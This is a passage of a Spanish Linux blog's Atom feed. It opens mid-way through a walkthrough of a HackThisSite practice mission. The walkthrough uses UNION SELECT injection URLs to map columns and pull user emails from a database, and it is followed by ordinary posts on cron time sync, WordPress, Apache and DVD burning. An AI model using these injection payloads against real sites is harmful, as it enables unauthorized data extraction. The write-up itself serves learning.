href="http://www.hacking.org/missions/products.php?category=2+union+select+1,2+as+id,3,4"&gt;http://www.hacking.org/missions/products.php?category=2+union+select+1,2+as+id,3,4&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;                sólo aparece la foto del elemento que se ha introducido en el injerto (2 as id) y no la de los elementos originales. Por tanto, en la sentencia original la primera columna es el id del producto.&lt;br /&gt;&lt;br /&gt;                Una aclaración: en este caso tampoco nos interesa mucho la colocación de los distintos atributos ya que lo que nos interesa en la información que podemos obtener con nuestro injerto y no la original.&lt;br /&gt;&lt;br /&gt;Supongamos, ahora que el precio del producto tendrá como nombre de columna... no sé, ¿price? ;-)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2+as+price,3,4"&gt;http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2+as+price,3,4&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;        Bien, existe un campo price pero no está en la segunda posición. Da igual.&lt;br /&gt;&lt;br /&gt;Supongamos que otro campo puede ser description, describiendo el producto&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2+as+price,3+as+description,4"&gt;http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2+as+price,3+as+description,4&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;        No se ha producido ningún cambio respecto a la sentencia anterior por tanto no es description.&lt;br /&gt;&lt;br /&gt;A ver, también es cierto que no es necesario averiguar la estructura completa de la sentencia SQL original. Posiblemente a través del campo 'price' podamos sacar la información que necesitamos aunque también es posible que en la aplicación sólo manejen números o si maneja texto sea de una longitud muy limitada para nuestras necesidades. Para nuestras necesidades seguro que es más adecuado el campo que describe los productos...&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2+as+price,3+as+text,4"&gt;http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2+as+price,3+as+text,4&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;        Biiien, ya tenemos el nombre del campo que describe los productos.&lt;br /&gt;&lt;br /&gt;Lo que no queda claro es para que sirve el cuarto campo pero bueno tampoco parece que sea muy útil.&lt;br /&gt;&lt;br /&gt;Como nota curiosa, el siguiente injerto&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.hacking.org/missions/products.php?category=2+union+select+2+as+price,1+as+id,3+as+text,4"&gt;http://www.hacking.org/missions/products.php?category=2+union+select+2+as+price,1+as+id,3+as+text,4&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;produce que la foto se coloque en la imagen (ver código fuente) la descripción del producto y en la descripción del producto el id del producto, ¿alguna explicación?&lt;br /&gt;&lt;br /&gt;Y si probamos a veriguar qué base de datos tenemos...&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,@@version+as+text,3+as+price,4"&gt;http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,@@version+as+text,3+as+price,4&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Bueno, nos da error. Es posible que sea un mysql y no tengamos permisos de ejecución.&lt;br /&gt;&lt;br /&gt;¿Dónde pueden estar las direcciones de correo? Si intentamos introducir como dirección de email el carácter "'" nos devuelve un informativo error:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.hacking.org/missions/addemail.php?email='"&gt;http://www.hacking.org/missions/addemail.php?email='&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Error inserting into table "email"! Email not valid! Please contact an administrator of Fischer's.&lt;br /&gt;&lt;br /&gt;Por tanto, podemos probar a sacar el id de la tabla email...&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,(select+id+from+email+limit+1)+as+text,3+as+price,4"&gt;http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,(select+id+from+email+limit+1)+as+text,3+as+price,4&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Nada, nos da error. La opción 'limit' no es estándar (gracias Pedro) y hay bases de datos como Oracle que no la soportan. Lo que deja claro el siguiente injerto es que se puede introducir subconsultas en el injerto&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,(select+2)+as+text,3+as+price,4"&gt;http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,(select+2)+as+text,3+as+price,4&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Bien, hagamos una consulta a la tabla email, ¿qué campo puede contener el email de los usuarios? Probemos con 'email'&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,email+as+text,3+as+price,4+from+email"&gt;http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,email+as+text,3+as+price,4+from+email&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Bueno, bueno, bueno, ya tenemos los emails de los usuarios ahora habría que ver a quién se le manda.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Espero que a la gente de &lt;a href="http://www.hackthissite.org/"&gt;http://www.hackthissite.org/&lt;/a&gt; no les moleste, este artículo se ha creado exclusivamente con fines didácticos y sin intención de joder a nadie ^_^&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-4347831219980110691?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/4347831219980110691/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=4347831219980110691' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/4347831219980110691'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/4347831219980110691'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2007/10/ejemplo-prctico-de-inyeccin-sql-con.html' title=''/><author><name>bpk</name><uri>http://www.blogger.com/profile/02129895914842177431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-5053199151955946935</id><published>2007-09-25T11:19:00.000+02:00</published><updated>2007-11-15T16:11:59.085+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='redes'/><category scheme='http://www.blogger.com/atom/ns#' term='programacion'/><category scheme='http://www.blogger.com/atom/ns#' term='script'/><title type='text'></title><content type='html'>&lt;h1&gt;El NTP de los pobres.&lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bueno, de los pobres, o de los vagos, o de los kutres....el caso es que aquí va mi segundo kutre-script.&lt;br /&gt;&lt;br /&gt;Hace unos meses, me encontré en una red en la que el UDP estaba capado... yo tampoco sé en qué estarían pensando cuando decidieron esa política de seguridad, pero los caminos de lo políticos haciendo de admin son inescrutables.&lt;br /&gt;&lt;br /&gt;El caso es que estuve investigando alguna solución que permitiese hacer NTP por TCP y no encontré nada.&lt;br /&gt;La siguiente opción consistía en encapsular UDP dentro de TCP, pero no era viable al tratarse de una red aislada, sin otras redes de apoyo externas o que dieran este tipo de servicos. Además están muy desaconsejados este tipo de workarounds.&lt;br /&gt;Por último, yo que antes de nada soy práctico, pensé "¿porqué no hago la consulta a algún servidor web y le meto la hora a las bravas?". Y a mí todo lo que sea meter a las bravas siempre me ha parecido una buena idea, así que creé el siguiente kutre-script:                                                                                                                                                                                                                                                                                            &lt;br /&gt;&lt;br /&gt;&lt;code&gt;root@osaka:~# cat /usr/local/bin/time_sync.sh&lt;br /&gt;#!/bin/bash&lt;br /&gt;date -u -s "`wget -O- http://www.time.gov/timezone.cgi?UTC/s/0 2&gt; /dev/null \&lt;br /&gt;| sed -n -e 's/.*size="[75]".*&gt;\(.*\)&amp;lt;br&amp;gt;$/\1/p'`"  &gt;&amp; /dev/null&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;¿Se nota que estoy intentando aprender bash scripting? xD &lt;br /&gt;&lt;br /&gt;Ahora sólo hay que añadirlo al cron del usuario root. Para editar el cron, desde una terminal de root, ejecutamos:&lt;br /&gt;&lt;code&gt;root@osaka ~-&gt; crontab -e&lt;/code&gt;                                      &lt;br /&gt;&lt;br /&gt;Y añadimos la siguiente linea:&lt;br /&gt;                                                                                                                                                                                                                                                                                 &lt;code&gt;00 09 * * * root /usr/local/bin/time_sync.sh&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Yo sólo sincronizo una vez al día, porque a la peña de las páginas web les sienta muy mal que utilicen sus páginas las máquinas en vez de las personas, y no es plan de que se cabreen y pongan CAPTCHAs ^_^. Si quieres ponerlo más a menudo, ya sabes:&lt;br /&gt;&lt;code&gt;man -S 5 crontab&lt;/code&gt;     &lt;br /&gt;&lt;br /&gt;Por si un copypaste es demasiado kurro &lt;a href="http://www.telefonica.net/web/finka/scripts/time_sync.sh"&gt;time_sync.sh&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           PD: Por supuesto, gracias a la gente de &lt;a href="http://www.time.gov/"&gt;http://www.time.gov/&lt;/a&gt; , sin vosotros esto no habría sido posible xDD&lt;br /&gt;&lt;br /&gt;NOTA: He actualizado el artículo y el script porque ha cambiado la URL desde la que extraer la hora.&lt;br /&gt;Ya sabes: &lt;code&gt; apt-get update &amp;&amp; apt-get upgrade net_para_los_pobres&lt;/code&gt; (just kidding)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-5053199151955946935?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/5053199151955946935/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=5053199151955946935' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/5053199151955946935'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/5053199151955946935'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2007/09/el-ntp-de-los-pobres.html' title=''/><author><name>bpk</name><uri>http://www.blogger.com/profile/02129895914842177431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-5687908868305403730</id><published>2007-09-21T14:43:00.000+02:00</published><updated>2007-09-21T14:57:21.162+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wordpress'/><category scheme='http://www.blogger.com/atom/ns#' term='64bb (64 bits bugs)'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='idiomas'/><title type='text'></title><content type='html'>&lt;h1&gt;Problema con el idiomas en Wordpress 2.2.3 para sistemas 64bits&lt;/h1&gt;&lt;br /&gt;Trasteando con wordpress me he vuelto loco para castellanizar la version 2.2.3 de wordpress hasta que encontre en internete lo siguiente :&lt;br /&gt;&lt;br /&gt;Si tienes una distribucion de 64 bits y no te funciona la carga de archivos .mo puede ser por que no te funcione un if puñetero que hay dentro de &lt;br /&gt;&lt;br /&gt;wp-includes/gettext.php&lt;br /&gt;&lt;br /&gt;Editalo y donde pone :&lt;br /&gt;&lt;br /&gt;&lt;code&gt;if ($magic == ($MAGIC1 &amp; 0xFFFFFFFF) || $magic == ($MAGIC3 &amp; 0xFFFFFFFF)) { // to make sure it works for 64-bit platforms&lt;br /&gt;&amp;nbsp;&amp;nbsp;$this-&gt;BYTEORDER = 0;&lt;br /&gt;} elseif ($magic == ($MAGIC2 &amp; 0xFFFFFFFF)) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;$this-&gt;BYTEORDER = 1;&lt;br /&gt;} else {&lt;br /&gt;&amp;nbsp;&amp;nbsp;$this-&gt;error = 1; // not MO file&lt;br /&gt;&amp;nbsp;&amp;nbsp;return false;&lt;br /&gt;}&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;pon&lt;br /&gt;&lt;br /&gt;&lt;code&gt;if ($magic == ($MAGIC1 &amp; 0xFFFFFFFF) || $magic == ($MAGIC3 &amp; 0xFFFFFFFF)) { // to make sure it works for 64-bit platforms&lt;br /&gt;&amp;nbsp;&amp;nbsp;$this-&gt;BYTEORDER = 0;&lt;br /&gt;} elseif ($magic == ($MAGIC2 &amp; 0xFFFFFFFF)) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;$this-&gt;BYTEORDER = 1;&lt;br /&gt;} else {&lt;br /&gt;&amp;nbsp;&amp;nbsp;$this-&gt;BYTEORDER = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;b&gt;// $this-&gt;error = 1; // not MO file&lt;br /&gt;&amp;nbsp;&amp;nbsp;// return false;&lt;/b&gt;&lt;br /&gt;}&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;El reporte del bug en : &lt;br /&gt;&lt;a href="http://wordpress.org/support/topic/95983"&gt;http://wordpress.org/support/topic/95983&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;y la solucion en :&lt;br /&gt;&lt;a href="http://comox.textdrive.com/pipermail/wp-trac/2007-June/012844.html"&gt;http://comox.textdrive.com/pipermail/wp-trac/2007-June/012844.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-5687908868305403730?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/5687908868305403730/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=5687908868305403730' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/5687908868305403730'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/5687908868305403730'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2007/09/problema-con-el-idioma-eses-en.html' title=''/><author><name>moz667</name><uri>http://www.blogger.com/profile/16205397846816665132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://photos1.blogger.com/blogger/7396/558/400/avatar-20060902.0.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-3178021791683426376</id><published>2007-09-18T21:05:00.001+02:00</published><updated>2008-06-16T18:20:04.509+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gentoo'/><category scheme='http://www.blogger.com/atom/ns#' term='configuracion'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='apache'/><title type='text'>Modulo de apache de php en Gentoo</title><content type='html'>Hace un par de dias actualice mi sistema con un emerge -va world con la mala pata que cuando termino la compilacion y en vista de que tenia que actualizar 17 archivos de configuracion hice el gañan y movi el contenido de los nuevos sobreescribiendo los viejos&lt;br /&gt;&lt;br /&gt;Una vez terminada la faena y en vista que todo parecia funcionar yo segui a lo mio hasta que hoy al intentar entrar a una de las paginas que tengo alojadas en mi ordena me descargaba el codigo php :D. ¿Gracioso no?&lt;br /&gt;&lt;br /&gt;Acto seguido pare el apache ya que como es obvio el codigo libre pero no las passwords de los ficheros de configuracion del wordpress :P&lt;br /&gt;&lt;br /&gt;Bueno pues ahora por la tarde me disponia a meter el modulo de php5 que imagine se les habria pasado a estos maravillosos ebuildsnasters de gentoo con la mala pata que al ponerlo me dio el siguiente error&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Apache2 has detected a syntax error in your configuration files:&lt;br /&gt;apache2: Syntax error on line 169 of /etc/apache2/httpd.conf: Syntax error on line 4 of /etc/apache2/modules.d/70_mod_php5.conf: API module structure 'php5_module' in file /usr/lib64/apache2/modules/libphp5.so is garbled - expected signature 41503232 but saw 41503230 - perhaps this is not an Apache module DSO, or was compiled for a different Apache version?&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Buscando por internet me di cuenta que me veo obligado a re-emergear el php (que no es poco)&lt;br /&gt;&lt;br /&gt;En fin, no todo ha sido tiempo perdido, he aprendido algo nuevo que me interesa reflejar aqui a modo de apunte acerca de la configuracion de apache en gentoo&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Para cargar el modulo php puedes hacerlo de varias formas&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;La que yo ya sabia era metiendo en alguno de los archivos de configuracion como por ejemplo en....&lt;br /&gt;&lt;br /&gt;&lt;code&gt;/etc/apache2/modules.d/default&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;...la carga de el modulo...&lt;br /&gt;&lt;br /&gt;&lt;code&gt; LoadModule php5_module modules/libphp5.so&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Tambien puedes editar el archivo en /etc/conf.d/apache2 y añadir -D PHP5 a las opciones de arranque de apache2&lt;br /&gt;&lt;br /&gt;&lt;code&gt;APACHE2_OPTS="-D DEFAULT_VHOST -D INFO -D LANGUAGE -D MANUAL -D SSL -D SSL_DEFAULT_VHOST -D SUEXEC &lt;b&gt;-D PHP5&lt;/b&gt;"&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Estas dos primeras opciones cargan el modulo de php... la pregunta del millon es ¿Que diferencia una de la otra?&lt;br /&gt;&lt;br /&gt;La primera solo carga el modulo, luego tu tienes que establecer en que sitio deseas que se pueda ejecutar el php que extensiones etc.... con la segunda, tira de un archivo en mi caso /etc/apache2/modules.d/70_mod_php5.conf que contiene ya toda la configuracion tipica de un servidor que admita php.&lt;br /&gt;&lt;br /&gt;El contenido del mismo es:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;IfDefine PHP5&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;# Load the module first&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;lt;IfModule !mod_php5.c&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LoadModule php5_module    modules/libphp5.so&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;lt;/IfModule&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;# Set it to handle the files&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;lt;IfModule mod_mime.c&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AddType application/x-httpd-php .php&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AddType application/x-httpd-php .phtml&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AddType application/x-httpd-php .php3&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AddType application/x-httpd-php .php4&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AddType application/x-httpd-php .php5&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AddType application/x-httpd-php-source .phps&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;lt;/IfModule&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;AddDirectoryIndex index.php index.phtml&lt;br /&gt;&amp;lt;/IfDefine&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;La decision de usarlo o no ya recae en cada uno y varia segun a quien esta destinado los virtuales... en mi caso que solo estoy programando web en php y que soy el unico usuario de este servidor me ahorra mucha morralla a la hora de configurar nuevos servidores virtuales.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-3178021791683426376?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/3178021791683426376/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=3178021791683426376' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/3178021791683426376'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/3178021791683426376'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2007/09/actualizando-apache-en-gentoo-hace-un.html' title='Modulo de apache de php en Gentoo'/><author><name>moz667</name><uri>http://www.blogger.com/profile/16205397846816665132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://photos1.blogger.com/blogger/7396/558/400/avatar-20060902.0.png'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-3935889153820039286</id><published>2007-08-29T18:51:00.000+02:00</published><updated>2007-08-29T20:19:21.258+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ripeo'/><category scheme='http://www.blogger.com/atom/ns#' term='script'/><title type='text'></title><content type='html'>&lt;h1&gt;grabar DVD con un archivo de más de 4 GB.&lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;Voy a empezar a publicar algunos de los kutre-scripts que tengo por ahí pululando, y voy a empezar por este.&lt;br /&gt;&lt;br /&gt;Respecto al tema de los ficheros de más de 4 GB. Si alguna vez lo habéis intentado, os habréis dado cuenta de que no puedes grabarlo en un DVD de la manera tradicional.&lt;br /&gt;Por lo que he leído, es algo relacionado con que mkisofs no puede crear imágenes UDF "puras" y crea imágenes híbridas UDF / Joliet.[1]&lt;br /&gt;&lt;br /&gt;Por si alguien no se fía del script (no le culpo, yo tampoco lo haría ^_^) los pasos a seguir serían los siguientes:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Creamos un archivo del tamaño de la imagen que queramos.&lt;br /&gt;&lt;code&gt;dd if=/dev/zero of=file.iso bs=2048 count=tamaño_imagen&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Convertimos el fichero creado a formato UDF.&lt;br /&gt;&lt;code&gt;mkudffs file.iso&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Montamos el fichero.&lt;br /&gt;&lt;code&gt;mount -o loop -t udf file.iso punto_de_montaje&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Copiamos los contenidos que queramos&lt;br /&gt;&lt;code&gt;cp archivo_tocho punto_de_montaje&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Borramos el directorio de lost+found&lt;br /&gt;&lt;code&gt;rm punto_de_montaje/lost+found/ -Rf&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Desmontamos&lt;br /&gt;&lt;code&gt;umount punto_de_montaje&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Tostamos&lt;br /&gt;&lt;code&gt;cdrecord -v -dao -dev=/dev/grabadora -driveropts=burnfree file.iso&lt;/code&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;Cuando lo hice no pensaba subirlo a ningún lado, así que estará un poco verde y puede que necesites adaptarlo un poco. Si tenéis algún tipo de sugerencia / mejora / problemas, como siempre serán bien recibidos (0 no)&lt;br /&gt;&lt;br /&gt;El kutre-script de marras:&lt;br /&gt;&lt;a href="http://personal.telefonica.terra.es/web/finka/grabar_4GB" title="grabar_4GB"&gt;grabar_4GB&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;¡Besitos anales!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[1] Mientras me documentaba para escribir esta reseña, leo en el man de mkisofs que el tema de UDF está en fase alpha, así que hay esperanzas de que no tarde mucho en estar disponible y ser estable.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-3935889153820039286?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/3935889153820039286/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=3935889153820039286' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/3935889153820039286'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/3935889153820039286'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2007/08/grabar-dvd-con-un-archivo-de-ms-de-4-gb.html' title=''/><author><name>bpk</name><uri>http://www.blogger.com/profile/02129895914842177431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-5024482131162695802</id><published>2007-07-18T08:32:00.000+02:00</published><updated>2007-07-18T11:08:08.037+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='redes'/><category scheme='http://www.blogger.com/atom/ns#' term='configuracion'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'></title><content type='html'>&lt;h1&gt;Avahi ... un misterio menos&lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;Para aquellos que sepan qué es avahi, que no sigan leyendo... a no ser que quieran reirse de mi ignorancia ¬_¬&lt;br /&gt;&lt;br /&gt;Hay una cosa de la que siempre que he podido me he quejado de Ubuntu:&lt;br /&gt;A la hora de configurar la red, como siempre pasa en estos mundos del software libre, tienes un millón de formas de hacerlo; pero en Ubuntu es donde&lt;br /&gt;me he encontrado por primera vez que cuando configuras la red a través del herramienta gráfica, luego mirabas en el archivo /etc/network/interfaces ...&lt;br /&gt;¡Y ahí no había nada de lo que habías estado poniendo!&lt;br /&gt;&lt;br /&gt;Por otro lado, cuando realizas los cambios en el /etc/network/interfaces alguna vez me he vuelto medio loco porque no conseguía que el servicio se&lt;br /&gt;comportase como se le supone...&lt;br /&gt;En fin, un montón de cosas raras más propias de otros sistemas que basan su configuración en un oscuro registro y de lo que yo pensaba que estaba a&lt;br /&gt;salvo en el sistema del pingüino...&lt;br /&gt;&lt;br /&gt;Pues bien, hoy estaba jugando con el lsof y aprendiendo algunas opciones interesantes (eso para otro día en el que me ponga a escribir un artículo&lt;br /&gt;de verdad ~_^) y he visto el proceso ese raro:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;root@acer-laptop:/home/bpk# lsof -i&lt;br /&gt;COMMAND     PID       USER   FD   TYPE   DEVICE SIZE NODE NAME&lt;br /&gt;avahi-dae  4666      avahi   13u  IPv4    15856       UDP *:mdns&lt;br /&gt;avahi-dae  4666      avahi   14u  IPv4    15857       UDP *:32769&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Y yo pensado, ¡coño, qué es esto!&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;root@acer-laptop:/home/bpk# dpkg -l "avahi*"&lt;br /&gt;Desired=Unknown/Install/Remove/Purge/Hold&lt;br /&gt;| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed&lt;br /&gt;|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)&lt;br /&gt;||/ Name                              Version                           Description&lt;br /&gt;+++-=================================-=================================&lt;br /&gt;ii  avahi-autoipd                     0.6.17-0ubuntu3                   Avahi IPv4LL network address configuration daemon&lt;br /&gt;ii  avahi-daemon                      0.6.17-0ubuntu3                   Avahi mDNS/DNS-SD daemon&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Interesante...&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;root@acer-laptop:/home/bpk# apt-cache show avahi-autoipd&lt;br /&gt;Package: avahi-autoipd&lt;br /&gt;Priority: optional&lt;br /&gt;Section: net&lt;br /&gt;Installed-Size: 176&lt;br /&gt;Maintainer: Ubuntu Core Developers &lt;ubuntu-devel-discuss@lists.ubuntu.com&gt;&lt;br /&gt;Original-Maintainer: Utopia Maintenance Team &lt;pkg-utopia-maintainers@lists.alioth.debian.org&gt;&lt;br /&gt;Architecture: i386&lt;br /&gt;Source: avahi&lt;br /&gt;Version: 0.6.17-0ubuntu3&lt;br /&gt;Depends: libc6 (&gt;= 2.5-0ubuntu1), libdaemon0, adduser&lt;br /&gt;Recommends: dhcp3-client, iproute&lt;br /&gt;Conflicts: zeroconf&lt;br /&gt;Filename: pool/main/a/avahi/avahi-autoipd_0.6.17-0ubuntu3_i386.deb&lt;br /&gt;Size: 42356&lt;br /&gt;MD5sum: 6bf4b572186ebae0f77ef22ac721cf3b&lt;br /&gt;SHA1: 7a6ae3c80a7ca5b8d72117b56a93cbae9b67a981&lt;br /&gt;SHA256: b43a7725850cbcdfa339be0c0cdea26ad4de402e80ee9aded41a0a4ad5a650d5&lt;br /&gt;Description: Avahi IPv4LL network address configuration daemon&lt;br /&gt;Avahi is a fully LGPL framework for Multicast DNS Service Discovery.&lt;br /&gt;It allows programs to publish and discover services and hosts&lt;br /&gt;running on a local network with no specific configuration.  For&lt;br 